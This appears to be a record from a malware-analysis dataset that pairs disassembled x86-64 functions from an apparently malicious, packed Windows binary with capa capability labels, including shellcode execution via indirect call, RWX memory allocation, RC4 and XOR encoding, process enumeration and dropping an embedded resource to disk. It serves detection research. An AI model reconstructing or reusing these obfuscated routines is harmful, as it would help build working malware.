joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1408b08c0
Capabilities:
Execute shellcode via indirect call

Disassembly:
rol r8d, cl
add r8d, dword [r10 - 0xc]
clc
sub r11, 1
jmp 0x1408ff7aa
mov edx, r8d
inc r9
rcl r9b, 0xb1
add r9w, 0x6623
xor edx, eax
jmp 0x14092b73c
jne 0x14091ada2
mov eax, r8d
mov ecx, r9d
cmp cl, 0x8d
jmp 0x1409484e9
call fcn.14089105b
js 0x140938ab5
shl r15d, 0xef
mov qword [rsp + 0x18], rbp
or r15d, dword [rsp + r15 - 0x38b3fffd]
not r15
neg r15b
setge byte [rsp + r15*2 + 0x716801fe]
call fcn.1409a59b8
rol r9d, cl
rcl ch, cl
btc cx, r15w
add r9d, dword [r10 - 0x10]
rcl rcx, 0xe
xor ecx, 0x80b79a1a
xor r8d, r9d
mov cx, bx
movzx rcx, r12w
ror ecx, 0
mov ecx, r9d
jmp 0x14089da6f
mov r9d, r8d
jmp 0x14098f503
mov ecx, r8d
lahf
mov eax, r8d
rcl dh, 0xb0
rol dl, cl
bsr dx, cx
add r10, 0x28
sal dx, cl
stc
xchg dh, dl
xor eax, r9d
bswap r9w
not r9w
rol eax, cl
not cl
or r9b, 0x32
add eax, dword [r10 - 0x30]
or dl, 0x14
xor r8d, eax
rol ecx, cl
mov ecx, eax
not r9b
cwd
rcr r9b, cl
rol r8d, cl
btc r9d, 0x83
add r8d, dword [r10 - 0x2c]
mov ecx, r8d
mov edx, r8d
bt r9w, 0x15
shld r9w, di, 0x1e
cmovl r9, rsp
xor edx, eax
rol edx, cl
rcr r9d, cl
add edx, dword [r10 - 0x28]
add cl, dh
xor r8d, edx
movzx r9d, di
mov ecx, edx
rol r8d, cl
add r8d, dword [r10 - 0x24]
clc
not al
rcl rax, 0x3c
mov ecx, r8d
cmp sil, r12b
bts rax, r10
and r9b, spl
mov eax, r8d
shl r9, cl
adc r9b, 0x94
xor eax, edx
sete dl
clc
ror r9b, cl
rol eax, cl
add eax, dword [r10 - 0x20]
or ch, 0x21
xor r8d, eax
rcr dl, 0x10
mov ch, 0x1d
ror r9w, 0x10
mov ecx, eax
rol r8d, cl
add cl, bpl
shr dh, cl
sbb r9d, 0x6f29f691
add r8d, dword [r10 - 0x1c]
bsr dx, cx
shr r9, 0x3c
mov ecx, r8d
cqo
cmp sil, 0x36
jmp 0x1408b08c0
rol edx, cl
sal r9b, cl
setbe r9b
rol cx, 0x3a
add edx, dword [r10 - 0x18]
xor r8d, edx
bts cx, r14w
mov ecx, edx
btr r9d, 0x2a
rcr r9, cl
rol r8d, cl
add r8d, dword [r10 - 0x14]
add r9w, r14w
mov ecx, r8d
jmp 0x140912328
mov rbx, qword [rsp + 0x30]
cmp byte [rsp + r8 - 0x6204ff0], r8b
call fcn.14088cd54
shl rax, 0x20
or rax, rcx
jmp fcn.1400123e0
xor r9d, edx
jmp 0x1409071e0

Function at 0x1408fced6
Capabilities:
Execute shellcode via indirect call

Disassembly:
mov r15, r11
je 0x140901d0e
jo 0x1409681f1
mov rdx, qword [rsp + 0x38]
lea rcx, [rcx + rcx*8 - 0xc6cc3e9]
call fcn.14088d1c8
test eax, 0x5888526
or r12d, dword [r8 + r9*2]
add qword [rsp], 0x552cc

Function at 0x1408ff79e
Capabilities:
Execute shellcode via indirect call

Disassembly:
test word [rsp + 0x30], 0x7583
call 0x1409a638c

Function at 0x140907189
Capabilities:
Execute shellcode via indirect call

Disassembly:
add qword [rsp + r13 - 0x4d67c07d], 0xffffffffbf6bca5f
xchg qword [rsp + r13 - 0x4d67c03d], rdi
mov r13, qword [rsp + r13 - 0x4d67c06d]
xor qword [rsp + 0x18], 0xffffffffc70c67ba
add qword [rsp + 8], 0xffffffffbf75fc3f
test byte [rsp + 0x28], 0xaa
call fcn.14093ec6f
mov r13, qword [rsp + 0x28]
not r13d
jge 0x1408a33ab

Function at 0x140907197
Capabilities:
Execute shellcode via indirect call

Disassembly:
mov rsi, r13
mov rsi, qword [rsp + 0x10]
mov rsi, qword [rsi]
call fcn.140904616
Function at 0x1409071a7
Capabilities:
Execute shellcode via indirect call

Disassembly:
neg r12
jle 0x140958881
cmp r12d, 0x412d463b
mov r12, qword [rsp + 0x20]
mov qword [rsp + 0x20], rbx
add qword [rsp + 8], 0x4930d
call fcn.140959600

Function at 0x1409071b0
Capabilities:
Execute shellcode via indirect call

Disassembly:
rol r8d, cl
add r8d, dword [r10 - 0xc]
clc
sub r11, 1
jmp 0x1408ff7aa
mov edx, r8d
inc r9
rcl r9b, 0xb1
add r9w, 0x6623
xor edx, eax
jmp 0x14092b73c
jne 0x14091ada2
mov eax, r8d
mov ecx, r9d
cmp cl, 0x8d
jmp 0x1409484e9
call fcn.14089105b
js 0x140938ab5
shl r15d, 0xef
mov qword [rsp + 0x18], rbp
or r15d, dword [rsp + r15 - 0x38b3fffd]
not r15
neg r15b
setge byte [rsp + r15*2 + 0x716801fe]
call fcn.1409a59b8
rol r9d, cl
rcl ch, cl
btc cx, r15w
add r9d, dword [r10 - 0x10]
rcl rcx, 0xe
xor ecx, 0x80b79a1a
xor r8d, r9d
mov cx, bx
movzx rcx, r12w
ror ecx, 0
mov ecx, r9d
jmp 0x14089da6f
mov r9d, r8d
jmp 0x14098f503
mov ecx, r8d
lahf
mov eax, r8d
rcl dh, 0xb0
rol dl, cl
bsr dx, cx
add r10, 0x28
sal dx, cl
stc
xchg dh, dl
xor eax, r9d
bswap r9w
not r9w
rol eax, cl
not cl
or r9b, 0x32
add eax, dword [r10 - 0x30]
or dl, 0x14
xor r8d, eax
rol ecx, cl
mov ecx, eax
not r9b
cwd
rcr r9b, cl
rol r8d, cl
btc r9d, 0x83
add r8d, dword [r10 - 0x2c]
mov ecx, r8d
mov edx, r8d
bt r9w, 0x15
shld r9w, di, 0x1e
cmovl r9, rsp
xor edx, eax
rol edx, cl
rcr r9d, cl
add edx, dword [r10 - 0x28]
add cl, dh
xor r8d, edx
movzx r9d, di
mov ecx, edx
rol r8d, cl
add r8d, dword [r10 - 0x24]
clc
not al
rcl rax, 0x3c
mov ecx, r8d
cmp sil, r12b
bts rax, r10
and r9b, spl
mov eax, r8d
shl r9, cl
adc r9b, 0x94
xor eax, edx
sete dl
clc
ror r9b, cl
rol eax, cl
add eax, dword [r10 - 0x20]
or ch, 0x21
xor r8d, eax
rcr dl, 0x10
mov ch, 0x1d
ror r9w, 0x10
mov ecx, eax
rol r8d, cl
add cl, bpl
shr dh, cl
sbb r9d, 0x6f29f691
add r8d, dword [r10 - 0x1c]
bsr dx, cx
shr r9, 0x3c
mov ecx, r8d
cqo
cmp sil, 0x36
jmp 0x1408b08c0
rol edx, cl
sal r9b, cl
setbe r9b
rol cx, 0x3a
add edx, dword [r10 - 0x18]
xor r8d, edx
bts cx, r14w
mov ecx, edx
btr r9d, 0x2a
rcr r9, cl
rol r8d, cl
add r8d, dword [r10 - 0x14]
add r9w, r14w
mov ecx, r8d
jmp 0x140912328
mov rbx, qword [rsp + 0x30]
cmp byte [rsp + r8 - 0x6204ff0], r8b
call fcn.14088cd54
shl rax, 0x20
or rax, rcx
jmp fcn.1400123e0
xor r9d, edx
jmp 0x1409071e0

Function at 0x14091ad53
Capabilities:
Execute shellcode via indirect call

Disassembly:
call fcn.140989d4c
mov eax, dword [rcx]
btr r10d, r11d
shrd r8w, ax, 0x21
mov r8, rdx
lea r10, [rcx + 0x10]
shr r8, 0x20
movzx r9w, r10b
mov r11d, 3
rol r9d, cl
setge r9b
lea r9d, [rdx + rax]
rol ah, 7
adc rdx, 0x5322ce9f
lahf
add r8d, dword [rcx + 4]
btc edx, 0x9b
sub ax, 0x24b0
cdqe
nop
bsr edx, edx

Function at 0x140926c0a
Capabilities:
Execute shellcode via indirect call

Disassembly:
mov di, 0xd0a8
ja fcn.14098a4d5
neg edi
or dil, 0x28
mov rdi, qword [rsp + 0x18]
mov rdi, qword [rdi]
call fcn.14088b552
movabs rdi, 0x1b8714b2581a87bc
neg dil
jbe 0x14088e0f4

Function at 0x14092b6be
Capabilities:
Execute shellcode via indirect call

Disassembly:
and r14b, 0x21
call fcn.1409090c0
Function at 0x14092b6c7
Capabilities:
Execute shellcode via indirect call

Disassembly:
mov r8, r14
mov r14w, 0xa198
mov qword [rsp + 0x40], rcx
call fcn.140913dff

Function at 0x14092b6d9
Capabilities:
Execute shellcode via indirect call

Disassembly:
push rbp
push r9
movabs r9, 0xafa76703daa7e2a0
pushfq
and r9w, r9w
or r9d, r9d
push rdi
push r13
shl r9b, 0xc9
push r8
mov rbp, qword [rsp + 0x30]
movabs r8, 0x3d32b1998585f19b
shl r9w, 0xf
add r9d, 0xe4838991
movabs r13, 0x9a0d550f0da58b14
push rbp
movabs rdi, 0x6ba2eeaa00a94b17
push rbx
lea rbp, [rbp + 1]
cmp r8, r13
mov qword [rsp + 8], rdi
bswap rdi
call fcn.1409aa836

Function at 0x140937665
Capabilities:
Authenticate hmac

Disassembly:
push rdi
mov qword [rsp + 0x28], rcx
movabs rdi, 0xcf11730c448bfd96
jb 0x1409a961a
jno 0x1409a76c8
push rsi
setne dil
add qword [rsp + 0x10], 0x1233d8
mov rdi, rsi
mov rcx, rsi
movzx rdi, si
cmp ecx, esi
mov byte [rsp + rdi*2 - 0x1a200], 0x36
mov rcx, qword [rsp + 0x10]
mov rcx, qword [rcx]
call fcn.140904725
add byte [rcx], al
invalid

Function at 0x14093bf57
Capabilities:
Execute shellcode via indirect call

Disassembly:
shl dword [rsp + r9*2 + 0x5e564e06], 6
not r9

Function at 0x140942110
Capabilities:
Encode data using xor

Disassembly:
call fcn.140896e63
adc cl, byte [rax]
scasd eax, dword [rdi]
or al, 0x71
movabs dword [0x72e22c6c4abe90e9], eax
fsubr dword [rsi + 0x2e]
mov esi, 0xe22c6c4a
jb 0x140942171
fsubr dword [rsi + 0x2e]
enter 0x52a6, 0x5c
or al, 0x5a
fiadd dword [rax + rdx*4 - 0x1a]
cmpsb byte [rsi], byte [rdi]
xor byte [rax + 0x3c4c52b6], dh
jb 0x14094211e
insb byte [rdi], dx
cwde
ficomp word [rsi + 0x731ed858]
cmp dword [rdi + rdi*2 + 0x74], esi
add byte [rax], al
add byte [rdi], bh
div byte [rbp + 0x132935f]
add byte [rax], al
invalid
movsb byte [rdi], byte [rsi]
leave
invalid

Function at 0x14094c4a0
Capabilities:
Execute shellcode via indirect call

Disassembly:
movsx r13, byte [rsp + r13 - 0x2df7fff8]
neg word [rsp + r13 + 8]
jle 0x140894707
xor byte [rsp + r13*8 + 8], r13b
xchg qword [rsp + r13*4 + 0x30], rax
mov r13, qword [rsp + r13*8 + 0x28]
call fcn.14089e9d7
neg word [rsp + r13 - 0x4fa95f28]
call fcn.140906bc4
xor rbp, rbp
jl 0x140893915
or rbp, 0xffffffff85a0a520
lea rbp, [rbp + rbp - 0x38e40e6f]
lea rbp, [rbp*4 - 0x43541854]
jb 0x14095e0a2
mov r11w, word [rsp + 0x3e]
not r11d
jo fcn.1409071b0
call fcn.14090ebb6
pop rdi
add dword [rcx - 0x21], esi
stc
sbb eax, 0x75f56333
push rbx
mov bh, 0xb9
jmp 0x1bdfef850

Function at 0x140952895
Capabilities:
Execute shellcode via indirect call

Disassembly:
add qword [rsp], 0xfffffffffffd3978
sub ebx, 0x2bb75cbb
push r12
bswap rbx
ja fcn.14096d397
mov r12, rbx
mov rax, rbx
and ax, 0xcb02
mov rax, qword [rsp + 8]
mov rax, qword [rax]
jns 0x140999c68

Function at 0x14095e084
Capabilities:
Execute shellcode via indirect call

Disassembly:
seto byte [rsp + 0x70]
call fcn.1408912f9

Function at 0x14095e093
Capabilities:
Execute shellcode via indirect call

Disassembly:
xchg qword [rsp + 0x50], rax
mov rbx, qword [rsp + 0x48]
mov r11, qword [rsp + 0x38]
Function at 0x14095e3b7
Capabilities:
Execute shellcode via indirect call

Disassembly:
add qword [rsp], 0xfffffffffffc94c1
push rbx
movabs rbx, 0x643f7f1dc2b9d39e
mov rsi, rbx
push r14
test byte [rsp], sil
pop rbp
ja 0x14094c4a9
mov rsi, qword [rsp + 8]
mov rsi, qword [rsi]
call fcn.14099bf8e

Function at 0x1409681e8
Capabilities:
Execute shellcode via indirect call

Disassembly:
sets r10b
test byte [rsp + 8], r9b
not r10d
push rcx
xchg qword [rsp + r9 - 0x56c1], rdx
mov r10, qword [rsp + r9 - 0x56e9]

Function at 0x14096d37e
Capabilities:
Execute shellcode via indirect call

Disassembly:
push rbp
push rcx
pushfq
movabs rcx, 0x9fa2838571838eb7
bswap ecx
not rcx
push r11
call fcn.14097428c

Function at 0x14096d397
Capabilities:
Execute shellcode via indirect call

Disassembly:
not bpl
movabs rdi, 0xe3b18d9dcd19b82a
push r11
push rdx
not bp
add qword [rsp + 0x10], 0xfffffffffff02bd4
movabs r11, 0x1ba0909b093ce3a4
mov qword [rsp], rdi
add qword [rsp + 0x28], 0xffffffffbf6f404c
test bp, 0xca8f
call fcn.14088abc9

Function at 0x14096d3d5
Capabilities:
Execute shellcode via indirect call

Disassembly:
call fcn.1408b0280
xor cx, cx
mov r11w, 0xb634
mov r15b, byte [rsp + 0x1e]
xchg qword [rsp + 0x40], rbp
mov r11, qword [rsp + 0x28]
jl 0x140944911
neg word [rsp + 0x18]
or r15w, word [rsp + 0x1c]
movsx cx, cl
add qword [rsp + 0x10], 0xffffffffbf6b4086
cmp dword [rsp + 0x18], 0x709606ab
jb 0x1409aad93
jb 0x1408ff872
mov rcx, qword [rsp + 0x38]
call fcn.1409ad88f
call fcn.1409aa76c

Function at 0x14097b543
Capabilities:
Execute shellcode via indirect call
Packed with generic packer

Disassembly:
mov r9, qword [rsp + r9 - 0x138fb9]
mov word [rsp + 0x30], 0x870d
bswap r13d
lea r13, [r13 + r13 + 0xc6f8c15]
mov rcx, r13
call fcn.140916923

Function at 0x14097b56a
Capabilities:
Execute shellcode via indirect call
Packed with generic packer

Disassembly:
lea r10, [r10 + r10*4 - 0x63d90247]
js 0x1409239c8
lea rdx, [rdx + 0x129294ac]
neg r10b
call fcn.14095bc20
jge 0x1409889e2
add qword [rsp + r10*2 - 0x214fccc6], 0xffffffffbf6e0772
shl qword [rsp + r10*4 - 0x429f99c4], 0xb4
add qword [rsp + r10*4 - 0x429f99d4], 0xffffffffbf67cc8b
mov rdx, r10
add r10d, 0xaca5b639
mov rdx, qword [rsp + 0x38]
mov rdx, qword [rdx]
add r10d, r10d
and word [rsp + r10 - 0x7a9b3948], r10w
jne 0x140990200
jns 0x140893ab5
not r14w
add r9d, 0xcd83fb81
jg fcn.14095e093
mov rbp, qword [rsp]
mov rbp, qword [rbp + riz]
mov r8, r14
test r9, r8
call fcn.14093ab75
test dil, 0
mov rdi, qword [rsp + 0x10]
mov dword [rsp + 0x28], 0x33961d1a
jle 0x140888c12

Function at 0x1409889d6
Capabilities:
Execute shellcode via indirect call

Disassembly:
add qword [rsp], 0x5d0b4
mov rbp, r14

Function at 0x14098a4d5
Capabilities:
Execute shellcode via indirect call

Disassembly:
mov r15, rdi
push r9
or r15, 0xffffffffdcb04785
mov rdi, qword [rsp + 0x10]
mov rdi, qword [rdi + r15 + 0x20401851]
mov qword [rsp + 0x10], r12
not r15
not r15
or r9, 0xffffffff983aeb0a
mov word [rsp + r9 + 0x64400452], 0x2432
bswap r15
push r11
lea rdi, [rdi + r9 + 0x42fa46e2]
shl r12w, 0x51
call fcn.1409993db
Function at 0x14098a522
Capabilities:
Execute shellcode via indirect call

Disassembly:
xchg qword [rsp + r9 - 0x2f2b2696], rax
mov r9, qword [rsp + 0x28]
shl byte [rsp + 0x48], 0x71
js 0x140944911
movsx esi, dl
je 0x140968571
insd dword [rdi], dx
shl ebx, cl
insd dword [rdi], dx
std
fstp xword [rdi]
pop rcx
sbb dword [rdi], edx
xchg dword [rcx - 0x22a4e4a3], ebp
pop rbp
retf
pushfq
add qword [rsp + 0x10], 0x8558
movabs rax, 0xa79e4c27af3b6c3b
cmp rax, 0xffffffffb38b74a8
push rsi
mov ax, 0xf83a
jg 0x14093bf63
movabs rsi, 0xfc37bb0083015e0b
neg esi

Function at 0x1409ab566
Capabilities:
Execute shellcode via indirect call

Disassembly:
movabs rbx, 0xaca8ac07bcab73b2
cmp dword [rsp + 0x38], r12d
mov r12, qword [rsp + 0x48]
mov qword [rsp + 0x38], rcx
seto byte [rsp + r14*2 - 0x46788638]
movsx r14w, cl
call fcn.1408a1a06
mov rsi, qword [rsp + r14 - 0x233c4308]
or r8b, 0x15
test byte [rsp + r8*2 + 0x400179d6], 0x2a
jge 0x1409a75ff
pop rcx
push rbx
call fcn.140999c19

Function at 0x1409ad88f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
seto r15b
shr byte [rsp + 0x20], 0xc7
sub r15d, r15d
add r15w, 0xf535
not r15d
cmp r15w, word [rsp + 0x25]
mov r15, qword [rsp + 0x28]
setl byte [rsp + 0x20]
or byte [rsp + 0x20], 0xac
sub byte [rsp + 0x20], 0x23
jge 0x1409ab5bd
setno byte [rsp + 0x20]
push qword [rsp + 0x38]
popfq

Function at 0x1413d7055
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
btc r9w, r13w
shrd ebx, r10d, 0x1d
xor edi, edi
movzx ebx, r8b
mov r11, rcx
movsx r9d, r11w
mov r8, rdi
movsxd r9, esi
movsx r10w, cl
cmovp r9, rax
nop
inc r10b
movzx r9d, byte [r11]
dec r10b
movzx r10d, byte [rdx]
inc r11
jmp 0x1413d709c
inc rdx
test bl, bl
jmp 0x1413d70a6
je 0x1413d70d8
mov ecx, r8d
rcl ah, 0xa4
mov eax, 0x4332d09b
stc
rol eax, cl
cmc
add al, r8b
jmp 0x1413d70c7
xor r9b, al
jmp 0x1413d70cf
inc r8
cmp r15w, bx
clc
cmc
test r9b, r9b
jmp 0x1413d70e0
je 0x1413d70f4
cmp r9b, r10b
jmp 0x1413d70ee
je 0x1413d7089
cmp r9b, r10b
jmp 0x1413d70fc
jae 0x1413d7118
or eax, 0xffffffff
mov rbx, qword [rsp + 8]
movzx edi, di
mov rdi, qword [rsp + 0x10]
jmp 0x1413d7117
ret
mov rbx, qword [rsp + 8]
jmp 0x1413d7127
seta dil
setb al
mov eax, edi
not dil
mov rdi, qword [rsp + 0x10]
jmp 0x1413d713d
ret
Function at 0x14010e590
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x160
mov rax, qword [0x140384f88]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rdi, rdx
xor esi, esi
call fcn.14010d900
call fcn.14010d780
xor edx, edx
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14010e5fa
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
jne 0x14010e5fe
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x14010e64f
call fcn.14010d900
call fcn.14010d780
nop dword [rax + rax]
lea rdx, [rsp + 0x4c]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x14010e636
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x14010e610
jmp 0x14010e63a
mov esi, dword [rsp + 0x28]
call fcn.14010d900
call fcn.14010d780
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140278b60
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x14010e680
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x140384f88]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rdi, r9
mov rbx, r8
mov rbp, rdx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0x14010e814
mov r8, rdi
mov rdx, rbx
mov rcx, rsi
call fcn.14027a9a0
xor eax, eax
test rdi, rdi
je 0x14010e779
cmp rdi, 8
jb 0x14010e77e
movdqa xmm2, xmmword [0x140369ca0]
cmp rdi, 0x40
jb 0x14010e757
mov rdx, rdi
lea rcx, [rsi + 0x20]
and edx, 0x3f
mov r8, rdi
sub r8, rdx
nop dword [rax + rax]
movdqu xmm0, xmmword [rcx - 0x20]
add rax, 0x40
lea rcx, [rcx + 0x40]
andnps xmm0, xmm2
movdqu xmmword [rcx - 0x60], xmm0
movdqu xmm0, xmmword [rcx - 0x50]
andnps xmm0, xmm2
movdqu xmmword [rcx - 0x50], xmm0
movdqu xmm1, xmmword [rcx - 0x40]
andnps xmm1, xmm2
movdqu xmmword [rcx - 0x40], xmm1
movdqu xmm0, xmmword [rcx - 0x30]
andnps xmm0, xmm2
movdqu xmmword [rcx - 0x30], xmm0
cmp rax, r8
jb 0x14010e710
cmp rdx, 8
jb 0x14010e779
mov rcx, rdi
mov rdx, rdi
and ecx, 7
sub rdx, rcx
movq xmm0, qword [rax + rsi]
andnps xmm0, xmm2
movq qword [rax + rsi], xmm0
add rax, 8
cmp rax, rdx
jb 0x14010e763
cmp rax, rdi
jae 0x14010e79c
mov r8, rdi
lea rdx, [rax + rsi]
sub r8, rax
nop dword [rax + rax]
not byte [rdx]
lea rdx, [rdx + 1]
sub r8, 1
jne 0x14010e790
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov edx, 0xc0000000
mov rcx, rbp
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], 0
mov rcx, rax
mov r8d, edi
mov rdx, rsi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 1
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140278b60
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
Function at 0x14010e830
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov rax, r8
mov r14, rdx
mov rdx, rax
lea r8, [0x1403699e4]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdi, rax
test rax, rax
je 0x14010e8f1
call fcn.14010d900
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rdi
xor ecx, ecx
mov ebp, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
call fcn.14010d780
test rbx, rbx
je 0x14010e8f1
mov qword [rsp + 0x30], rsi
call fcn.14010d780
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
test rax, rax
je 0x14010e8ce
call fcn.14010d900
lea r9d, [rbp - 0x400]
mov r8, rsi
mov rdx, r14
call fcn.14010e680
test eax, eax
je 0x14010e8ce
call fcn.14010d780
call fcn.14010d900
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x30]
mov eax, 1
jmp 0x14010e8f3
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x1401182b0
Capabilities:
Set thread local storage value

Disassembly:
mov eax, 0x28
call fcn.140278ef0
sub rsp, rax
mov ecx, dword [rcx]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
xor ecx, ecx
test eax, eax
setne cl
mov eax, ecx
add rsp, 0x28
ret
Function at 0x140127d90
Capabilities:
Hash data using sha1

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
mov eax, reloc.WS2_32.dll_WSASetLastError
call fcn.140278ef0
sub rsp, rax
mov rax, qword [0x140384f88]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rdi, r9
mov rbx, rcx
cmp edx, 0x1d
je 0x140127dc7
mov eax, 0xfffffffe
jmp 0x140127ee7
test rbx, rbx
je 0x140127ee5
cmp r8d, 0x30
jne 0x140127ee5
mov r8d, gethostbyname
mov rdx, rdi
call fcn.140127c70
test eax, eax
jle 0x140127ee5
movdqa xmm0, xmmword [str.6666666666666666_]
lea rdx, [rsp + 0x20]
mov r8d, 0x28
movq qword [rsp + 0x40], xmm0
mov rcx, rbx
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm0
call fcn.140127c70
test eax, eax
je 0x140127ee5
mov rdx, rbx
lea rcx, [rsp + 0x48]
call fcn.140127a70
test eax, eax
je 0x140127ee5
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx + 0x14], xmm0
mov rdx, rdi
mov rcx, rbx
movups xmmword [rbx + 0x24], xmm0
lea r8d, [rax + 0x30]
movups xmmword [rbx + 0x34], xmm0
movups xmmword [rbx + 0x44], xmm0
mov qword [rbx + 0x54], rax
mov dword [rbx + 0x5c], eax
mov dword [rbx], 0x67452301
mov dword [rbx + 4], 0xefcdab89
mov dword [rbx + 8], 0x98badcfe
mov dword [rbx + 0xc], 0x10325476
mov dword [rbx + 0x10], 0xc3d2e1f0
call fcn.140127c70
test eax, eax
jle 0x140127ee5
movdqa xmm0, xmmword [0x1402c7fb0]
lea rdx, [rsp + 0x20]
mov r8d, 0x28
movq qword [rsp + 0x40], xmm0
mov rcx, rbx
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm0
call fcn.140127c70
test eax, eax
je 0x140127ee5
mov r8d, socket
lea rdx, [rsp + 0x48]
mov rcx, rbx
call fcn.140127c70
test eax, eax
je 0x140127ee5
mov edx, socket
lea rcx, [rsp + 0x48]
call fcn.1401187b0
mov eax, 1
jmp 0x140127ee7
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140278b60
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
Function at 0x140129810
Capabilities:
Encode data using xor

Disassembly:
xor r9b, r9b
mov r10, rdx
test r8, r8
je 0x140129837
sub r10, rcx
nop
movzx edx, byte [r10 + rcx]
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
xor dl, al
or r9b, dl
sub r8, 1
jne 0x140129820
movzx eax, r9b
ret